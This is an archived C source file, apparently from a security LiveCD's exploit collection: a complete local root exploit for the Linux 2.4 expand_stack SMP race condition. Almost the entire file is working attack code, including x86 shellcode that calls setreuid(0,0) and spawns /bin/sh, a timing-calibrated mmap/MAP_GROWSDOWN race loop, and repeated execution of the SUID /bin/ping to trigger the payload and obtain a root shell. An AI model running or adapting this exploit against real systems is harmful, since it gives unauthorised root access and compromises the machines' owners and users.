home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / stackgrow2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  332 lines

  1.  /*
  2. * expand_stack SMP race local root exploit
  3. *
  4. * Copyright (C) 2005 Christophe Devine and Julien Tinnes
  5. *
  6. * This program is quite unreliable - you may have to run it
  7. * several times before getting a rootshell. It was only tested
  8. * so far on a bi-xeon running Debian testing / Linux 2.4.29-rc1.
  9. *
  10. * Vulnerability discovered by Paul Starzetz <ihaquer at isec.pl>
  11. * http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
  12. *
  13. * This program is free software; you can redistribute it and/or modify
  14. * it under the terms of the GNU General Public License as published by
  15. * the Free Software Foundation; either version 2 of the License, or
  16. * (at your option) any later version.
  17. *
  18. * This program is distributed in the hope that it will be useful,
  19. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  20. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  21. * GNU General Public License for more details.
  22. *
  23. * You should have received a copy of the GNU General Public License
  24. * along with this program; if not, write to the Free Software
  25. * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
  26. */
  27.  
  28. #include <unistd.h>
  29. #include <signal.h>
  30. #include <string.h>
  31. #include <stdlib.h>
  32. #include <stdio.h>
  33. #include <sched.h>
  34. #include <fcntl.h>
  35.  
  36. #include <sys/stat.h>
  37. #include <sys/mman.h>
  38. #include <sys/wait.h>
  39. #include <asm/page.h>
  40.  
  41. #define PGD_SIZE (PAGE_SIZE * 1024)
  42. #define TARGET_BASE (void *) (PGD1_BASE + PAGE_SIZE)
  43. #define MMAP_BASE (void *) (PGD1_BASE + PAGE_SIZE * 3)
  44. #define PGD1_BASE (void *) 0x50000000
  45. #define PGD2_BASE (void *) 0x60000000
  46. #define MAGIC_TEST 0x18A041DF
  47. #define SUID "/bin/ping"
  48.  
  49. unsigned char stack1[4096];
  50. unsigned char stack2[4096];
  51. unsigned char stack3[4096];
  52.  
  53. char exec_sh[] = /* bob <bob@dtors.net> */
  54.  
  55. /* setreuid(0,0); */
  56. "\x31\xc0" /* xor %eax, %eax */
  57. "\x31\xc3" /* xor %ebx, %ebx */
  58. "\x31\xc1" /* xor %ecx, %ecx */
  59. "\xb0\x46" /* mov $0x46, %al */
  60. "\xcd\x80" /* int $0x80 */
  61.  
  62. /* execve() of /bin/sh */
  63. "\x31\xc0" /* xor %eax, %eax */
  64. "\x50" /* push %eax */
  65. "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
  66. "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
  67. "\x89\xe3" /* mov %esp, %ebx */
  68. "\x50" /* push %eax */
  69. "\x89\xe2" /* mov %esp, %edx */
  70. "\x53" /* push %ebx */
  71. "\x89\xe1" /* mov %esp, %ecx */
  72. "\xb0\x0b" /* mov $0x0b, %al */
  73. "\xcd\x80"; /* int $0x80 */
  74.  
  75. int pid[3], sff;
  76. long long tsc1, tsc2;
  77.  
  78. void child_sighandler( int signum )
  79. {
  80. int *xs1, i, j;
  81.  
  82. if( signum == SIGUSR1 )
  83. {
  84. for( i = 0; i > sff; i-- ) j = i * i;
  85.  
  86. asm volatile( "rdtsc" : "=A" (tsc1) );
  87. xs1 = TARGET_BASE; *xs1 = MAGIC_TEST;
  88. signal( SIGUSR1, child_sighandler );
  89. }
  90.  
  91. if( signum == SIGALRM )
  92. {
  93. printf( " [-] unable to exploit race in 30s,\n"
  94. " kernel patched or load too high.\n" );
  95. exit( 2 );
  96. }
  97. }
  98.  
  99. int child1_thread( void *arg )
  100. {
  101. printf( " [+] in thread 1 (pid = %d)\n", getpid() );
  102. signal( SIGUSR1, child_sighandler );
  103. while( 1 ) sleep( 4 );
  104. return( 0 );
  105. }
  106.  
  107. int test_race_result( void )
  108. {
  109. FILE *f;
  110. int *mtest;
  111. char line[128];
  112.  
  113. unsigned int vma_start_prev;
  114. unsigned int vma_start;
  115. unsigned int vma_end;
  116.  
  117. if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL )
  118. {
  119. perror( " [-] fopen /proc/self/maps" );
  120. exit( 1 );
  121. }
  122.  
  123. mtest = TARGET_BASE;
  124.  
  125. vma_start_prev = 0;
  126.  
  127. while( fgets( line, sizeof( line ) - 1, f ) != NULL )
  128. {
  129. sscanf( line, "%08x-%08x", &vma_start, &vma_end );
  130.  
  131. if( vma_start == (int) MMAP_BASE - PAGE_SIZE &&
  132. vma_end == (int) MMAP_BASE + PAGE_SIZE &&
  133. vma_start_prev != (int) TARGET_BASE &&
  134. *mtest == MAGIC_TEST )
  135. return( 0 );
  136.  
  137. vma_start_prev = vma_start;
  138. }
  139.  
  140. fclose( f );
  141.  
  142. return( 1 );
  143. }
  144.  
  145. int child2_thread( void *arg )
  146. {
  147. long delta[8];
  148. int *xs2, i, j, fct;
  149.  
  150. usleep( 50000 );
  151. printf( " [+] in thread 2 (pid = %d)\n", getpid() );
  152.  
  153. signal( SIGALRM, child_sighandler );
  154. alarm( 30 );
  155.  
  156. asm volatile( "rdtsc" : "=A" (tsc1) );
  157. for( i = 0; i < 4096; i++ ) j = i * i;
  158. asm volatile( "rdtsc" : "=A" (tsc2) );
  159. fct = tsc2 - tsc1;
  160.  
  161. printf( " [+] rdtsc calibration: %d\n", fct );
  162.  
  163. for( i = 0; i < 8; i++ )
  164. delta[i] = 0;
  165.  
  166. tsc1 = tsc2 = 0;
  167.  
  168. printf( " [+] exploiting race, wait...\n" );
  169.  
  170. while( 1 )
  171. {
  172. if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE,
  173. MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE |
  174. MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
  175. {
  176. perror( " [-] mmap target" );
  177. return( 1 );
  178. }
  179.  
  180. j = 0;
  181. for( i = 0; i < 8; i++ )
  182. j += delta[i];
  183. j /= 8;
  184.  
  185. sff += ( 128 * j ) / fct;
  186.  
  187. if( sff < -16384 || sff > 16384 )
  188. sff = 0;
  189.  
  190. for( i = 7; i > 0; i-- )
  191. delta[i] = delta[i - 1];
  192.  
  193. delta[0] = tsc1 - tsc2;
  194.  
  195. kill( pid[0], SIGUSR1 );
  196.  
  197. for( i = 0; i < sff; i++ ) j = i * i;
  198.  
  199. asm volatile( "rdtsc" : "=A" (tsc2) );
  200. xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0;
  201.  
  202. if( test_race_result() == 0 )
  203. {
  204. usleep( 10000 );
  205.  
  206. if( test_race_result() == 0 )
  207. break;
  208. }
  209.  
  210. munmap( TARGET_BASE, PAGE_SIZE * 3 );
  211. }
  212.  
  213. printf( " [+] race won (shift: %d)\n", sff );
  214.  
  215. return( 0 );
  216. }
  217.  
  218. int child3_thread( void *arg )
  219. {
  220. char *argv[2], *envp[1];
  221.  
  222. argv[0] = (char *) arg;
  223. argv[1] = NULL;
  224. envp[0] = NULL;
  225.  
  226. execve( (char *) arg, argv, envp );
  227.  
  228. exit( 0 );
  229. }
  230.  
  231. int main( void )
  232. {
  233. int nb_cpu, s, n;
  234. char line[1024];
  235. FILE *f;
  236. void *x;
  237.  
  238. if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL )
  239. {
  240. perror( " [-] fopen /proc/cpuinfo" );
  241. return( 1 );
  242. }
  243.  
  244. nb_cpu = 0;
  245.  
  246. while( fgets( line, sizeof( line ) - 1, f ) != NULL )
  247. if( memcmp( line, "processor", 9 ) == 0 )
  248. nb_cpu++;
  249.  
  250. fclose( f );
  251.  
  252. if( nb_cpu <= 1 )
  253. {
  254. fprintf( stderr, "This program only works on SMP systems.\n" );
  255. return( 1 );
  256. }
  257.  
  258. printf( "\n" );
  259.  
  260. if( mmap( PGD1_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
  261. MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
  262. {
  263. perror( "mmap pgd1 base\n" );
  264. return( 1 );
  265. }
  266.  
  267. n = *((int *) PGD1_BASE );
  268.  
  269. if( mmap( PGD2_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
  270. MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
  271. {
  272. perror( "mmap pgd2 base\n" );
  273. return( 1 );
  274. }
  275.  
  276. n = *((int *) PGD2_BASE );
  277.  
  278. if( ( pid[0] = clone( child1_thread, stack1 + PAGE_SIZE,
  279. SIGCHLD | CLONE_VM, 0 ) ) == -1 )
  280. {
  281. perror( " [-] clone child1" );
  282. return( 1 );
  283. }
  284.  
  285. if( ( pid[1] = clone( child2_thread, stack2 + PAGE_SIZE,
  286. SIGCHLD | CLONE_VM, 0 ) ) == -1 )
  287. {
  288. perror( " [-] clone child2" );
  289. kill( pid[0], SIGKILL );
  290. return( 1 );
  291. }
  292.  
  293. waitpid( pid[1], &s, 0 );
  294. kill( pid[0], SIGKILL );
  295.  
  296. if( WEXITSTATUS(s) != 0 )
  297. return( 1 );
  298.  
  299. x = (void *) ( TARGET_BASE );
  300. memset( (void *) x, 0x90, PAGE_SIZE );
  301. n = 16 + ( sizeof( exec_sh ) & 0xFFF0 );
  302. memcpy( x + PAGE_SIZE - n, exec_sh, n );
  303.  
  304. munmap( PGD1_BASE, PGD_SIZE );
  305. munmap( PGD2_BASE, PGD_SIZE );
  306.  
  307. for( n = 0; n < 256; n++ )
  308. {
  309. if( ( pid[0] = clone( child3_thread, stack1 + PAGE_SIZE,
  310. SIGCHLD | CLONE_VM, SUID ) ) == -1 )
  311. {
  312. perror( " [-] clone child3" );
  313. return( 1 );
  314. }
  315.  
  316. if( ( pid[1] = clone( child3_thread, stack2 + PAGE_SIZE,
  317. SIGCHLD | CLONE_VM, SUID ) ) == -1 )
  318. {
  319. perror( " [-] clone child3" );
  320. return( 1 );
  321. }
  322.  
  323. waitpid( pid[0], &s, 0 );
  324. if( WEXITSTATUS(s) != 2 ) break;
  325.  
  326. waitpid( pid[1], &s, 0 );
  327. if( WEXITSTATUS(s) != 2 ) break;
  328. }
  329.  
  330. return( 0 );
  331. }
  332.